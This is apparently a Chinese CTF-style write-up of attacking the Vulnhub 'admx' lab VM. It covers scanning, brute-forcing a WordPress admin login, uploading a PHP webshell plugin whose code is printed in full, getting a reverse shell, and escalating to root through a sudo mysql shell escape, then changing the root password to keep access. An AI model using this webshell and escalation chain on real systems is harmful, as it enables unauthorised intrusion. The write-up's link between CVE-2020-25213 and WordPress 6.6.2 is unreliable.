Vulnhub打靶-admx-new
基本信息
靶机下载:https://pan.baidu.com/s/1n__Xi5zpDxtNvuR_Be-2Dg?pwd=76wa
提取码: 76wa
攻击机器:192.168.20.128(Windows操作系统)
靶机:192.168.20.0/24
目标:获取2个flag+root权限
本次靶机难度较为简单,不涉及内网穿透等内容,是我第一次尝试红队攻击,故在此记录
具体流程
信息收集
首先我们拿到一个靶机,第一个要做的事情就是进行信息收集,看看靶机是否开放了某些具有漏洞的服务可以让我们进行渗透,由于靶机是部署在我虚拟机下的,所以我可以通过我的攻击机器知道靶机的网段是192.168.20.0/24,所以我们首先使用nmap扫描网段下存活的所有主机
执行命令nmap -sn 192.168.20.0/24
192.168.20.1是我自己主机的IP地址,192.168.20.2是网关出口,192.168.20.128是我的攻击主机,所以这里存疑的只有192.168.20.132以及192.168.20.254,所以我们直接扫描这两个IP地址开放的端口来进行进一步确认
执行命令nmap 192.168.20.132 192.168.20.254
我们可以进一步确定我们靶机的IP是192.168.20.132,且开放了80端口作为web服务,我们接着利用浏览器访问其80端口,看看能不能发现什么
这一看就是要进行路径扫描,我们直接使用diresearch进行路径扫描,执行命令python dirsearch.py -u http://192.168.20.132/
,如下所示
我们发现有wordpress的登录后台,我们尝试访问即可,访问界面如下所示
一开始我以为是我虚拟机的浏览器禁用了js,后来换成我主机的浏览器进行访问,发现还是这个样子,我接下来查看我浏览器配置的插件发现了关键信息,如下图所示
我的findsomething插件显示的当前页面的IP地址为192.168.159.145,这显然和web页面的真实IP地址不一样,所以这里肯定是进行了IP替换,我们要通过bp进行代理,来重新更换回来,如下所示
我们在BP中进行如下设置之后,把浏览器的代理切换为BP进行代理,然后我们再尝试访问,如下所示
我们可以发现页面访问正常,说明我们成功绕过了第一个限制
后台密码爆破
渗透思路很清晰,我们能够成功访问到后台登录界面,现在唯一要做的就是爆破出登录的账号密码进行登录即可,这个时候就要体现出字典的强大性了,由于刚刚后台路径扫描的过程中出现了 /tools/adminer.php
,所以我们不妨猜测账号为admin,爆破页面如下所示
我们发现这里有唯一一个状态码是重定向的,所以这个密码应该是正确的,所以密码为adam14,我们尝试登录,发现可以登录上去
漏洞利用
首先我们可以看到wordpress的版本号,wordpress的版本号为6.6.2,我们尝试搜索其历史漏洞。看看是否爆出过历史漏洞,我们发现存在CVE-2020-25213远程代码执行的漏洞,所以我们尝试上传PHP脚本以进行任意命令执行,其中我们的后门代码如下所示
<?php
/**
* Plugin Name:Webshell
* Plugin URI:https//borgeous.github.io
* Description:WP Webshell for Pentest
* Version:1.0
* Author:borgeous
* Author URI:https://borgeous.github.io
* License:https://borgeosus.github.io
*/
if(isset($_GET['pass']))
{
system($_GET['pass']);
}
?>
这里要注意的是,一定不能缺少上面的说明部分,这是wordpress插件的固定格式,且要压缩成zip文件包进行上传
我们在激活插件后尝试访问如下地址
http://192.168.20.132/wordpress/wp-content/plugins/shell.php?pass=whoami
我们发现可以成功执行任意命令
反弹shell
既然可以成功执行任意命令,那么接下来就是进行反弹shell拿主机命令执行权限
首先我们运行主机的nc进行监听9001端口
紧接着我们用fantanshell生成器进行生成fantanshell,因为绝大部分靶机都有python环境,所以我们尝试使用python来进行反弹shell,如下所示
我们将该命令进行执行,如下所示
我们发现靶机已经成功上线,成功获取权限,我们此时切换到家目录,我们发现存在wpadmin用户,我们进入wpadmin用户,可以发现存在local.txt文件,我们尝试读取,但是发现权限不够,所以我们尝试切换wpadmin用户,密码试着使用adam14,发现成功进去,并成功获取第一个flag值
flag{Ava}
mysql提权
我们首先执行sudo -l
命令列出当前用户在使用sudo
命令时可以执行的命令列表
我们发现用户wpadmin
可以无需输入密码(NOPASSWD)以root用户的权限执行/usr/bin/mysql
命令,连接到名为wordpress
的数据库,我们尝试执行即可
需要数据库密码,我们尝试密码复用,因为在真实环境中,会出现很多密码复用的情况,所以我们依然尝试adam14
我们可以发现成功进入,然后我们利用mysql
的system
命令来帮助我们直接以root
身份执行系统命令(\ !
是mysql
命令中system
的简写)。然后我们直接利用 \!
来使用 /bin/bash
命令以 root
的身份来使用 shell
成功获得root
权限,且获得第二个flag
flag{Adam}
至此全部解决,我们可以尝试爆破root的密码,因为我们已经拿到了root权限,所以可以访问shadow文件,我们尝试使用john进行爆破
发现密码本中没有该root密码,我们尝试修改root密码以维持权限
成功拿到主机权限